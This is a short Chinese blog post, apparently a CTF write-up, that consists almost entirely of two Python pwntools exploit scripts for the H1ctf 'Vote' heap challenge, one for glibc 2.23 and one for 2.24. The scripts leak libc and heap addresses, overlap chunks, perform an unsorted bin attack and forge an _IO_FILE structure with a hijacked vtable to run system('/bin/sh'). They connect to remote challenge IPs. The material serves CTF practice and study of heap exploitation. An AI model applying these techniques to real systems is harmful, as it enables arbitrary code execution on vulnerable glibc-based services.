H1ctf-Vote
用来练习IO_FILE利用
glibc-2.23
# coding:utf-8
from pwn import *
from FILE import *
context.arch = 'amd64'
libc = ELF("/home/moonagirl/moonagirl/libc/libc_local_x64")
LOCAL = 1
if LOCAL:
# context.log_level = 'debug'
io = process('./vote')
main_arena_off = libc.symbols['__malloc_hook'] + 0x68
else:
main_arena_off = 0x3c4b78
#io = remote("47.90.103.10", 6000)
io = remote("47.97.190.1", 6000)
def mmenu(choice):
io.recvuntil("Action: ")
io.sendline(str(choice))
def create(msize, content):
mmenu(0)
io.recvuntil("the name's size: ")
io.sendline(str(msize))
io.recvuntil("Please enter the name: ")
io.send(content)
def show(idx):
mmenu(1)
io.recvuntil("Please enter the index: ")
io.sendline(str(idx))
def vote(idx):
mmenu(2)
io.recvuntil("Please enter the index: ")
io.sendline(str(idx))
def result():
mmenu(3)
def vcancel(idx):
mmenu(4)
io.recvuntil("Please enter the index: ")
io.sendline(str(idx))
def pwnit():
create(0xE8, 'a0\n')
create(0x18, 'a1\n')
create(0xE8, 'a2\n')
create(0xE8, 'a3\n')
pay4load = '4'*0x180 + p64(0) + p64(0x81) + '\n'
create(0x208, pay4load)
create(0x30, 'a5\n')
vcancel(0)
vcancel(2)
# io.interactive()
show(0)
io.recvuntil("count: ")
libc.address = int(io.recvline()[:-1]) - main_arena_off
log.success("libc address: " + hex(libc.address))
io.recvuntil("time: ")
heap_address = int(io.recvline()[:-1]) - 0x130
log.success("heap address: " + hex(heap_address))
vcancel(3)
# overlap
fake_chunk = '6'*0xE0
fake_chunk += p64(0) + p64(0x2A1) # change size bigger
fake_chunk += p64(0xFFFFFFFFFFFFFFFF) + p64(0x555555)
fake_chunk += '\n'
create(0x1E8, fake_chunk) # 6
create(0xE8, 'a7\n') # clear unsorted bin
vcancel(3)
vcancel(4) # now unsorted bin have 2 chunks
# unsorted bin attack
payload = 'a'*0xE0
vtable_addr = heap_address + 0x410
fake_file = IO_FILE_plus_struct()
fake_file._flags = u64("/bin/sh\x00")
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base = libc.symbols['_IO_list_all'] - 0x10
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file.vtable = vtable_addr
payload += str(fake_file)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(libc.symbols["system"])
payload += '\n'
create(0x288, payload) # size 0x2A1
# now chunk3 removed from unsorted bin, unsorted bin only has chunk4
pause()
mmenu(0)
io.recvuntil("the name's size: ")
io.sendline(str(48))
io.interactive()
if __name__ == "__main__":
pwnit()
pause()
glibc-2.24
# coding:utf-8
from pwn import *
from FILE import *
context.arch = 'amd64'
libc = ELF("./libc-2.24.so")
LOCAL = 1
if LOCAL:
# context.log_level = 'debug'
io = process('./vote',env={"LD_PRELOAD":"./libc-2.24.so"})
# __malloc_hook+68
main_arena_off = libc.symbols['__malloc_hook'] + 0x68
else:
main_arena_off = 0x3c4b78
#io = remote("47.90.103.10", 6000)
io = remote("47.97.190.1", 6000)
def z(a=''):
gdb.attach(io,a)
if a == '':
raw_input()
def mmenu(choice):
io.recvuntil("Action: ")
io.sendline(str(choice))
def create(msize, content):
mmenu(0)
io.recvuntil("the name's size: ")
io.sendline(str(msize))
io.recvuntil("Please enter the name: ")
io.send(content)
def show(idx):
mmenu(1)
io.recvuntil("Please enter the index: ")
io.sendline(str(idx))
def vote(idx):
mmenu(2)
io.recvuntil("Please enter the index: ")
io.sendline(str(idx))
def result():
mmenu(3)
def vcancel(idx):
mmenu(4)
io.recvuntil("Please enter the index: ")
io.sendline(str(idx))
def pwnit():
create(0xE8, 'a0\n')
create(0x18, 'a1\n')
create(0xE8, 'a2\n')
create(0xE8, 'a3\n')
pay4load = '4'*0x180 + p64(0) + p64(0x81) + '\n'
create(0x208, pay4load)
create(0x30, 'a5\n')
vcancel(0)
vcancel(2)
show(0)
io.recvuntil("count: ")
libc_base = int(io.recvline()[:-1]) - main_arena_off
io.recvuntil("time: ")
heap_address = int(io.recvline()[:-1]) - 0x130
system = libc.symbols['system']
_IO_list_all= libc.symbols['_IO_list_all']
binsh = libc.search('/bin/sh\x00').next()
_IO_str_jumps = 0x3BE4C0 + libc_base
system = libc_base+libc.symbols['system']
_IO_list_all=libc_base+libc.symbols['_IO_list_all']
# _IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps']
binsh = libc_base+libc.search('/bin/sh\x00').next()
vcancel(3)
# overlap
fake_chunk = '6'*0xE0
fake_chunk += p64(0) + p64(0x2A1) # change size bigger
fake_chunk += p64(0xFFFFFFFFFFFFFFFF) + p64(0x555555)
fake_chunk += '\n'
create(0x1E8, fake_chunk) # 6
create(0xE8, 'a7\n') # clear unsorted bin
vcancel(3)
vcancel(4) # now unsorted bin have 2 chunks
# unsorted bin attack
payload = 'a'*0xE0
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base =_IO_list_all-0x10
fake_file._IO_buf_base = binsh
fake_file._mode = 0
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file.vtable = _IO_str_jumps-8
payload+=str(fake_file).ljust(0xe8,'\x00')+p64(system)
create(0x288, payload) # size 0x2A1
# io.interactive()
# pause()
create(0, 'get shell')
io.interactive()
if __name__ == "__main__":
pwnit()
# pause()
.
Always believe that good things will come.

浙公网安备 33010602011771号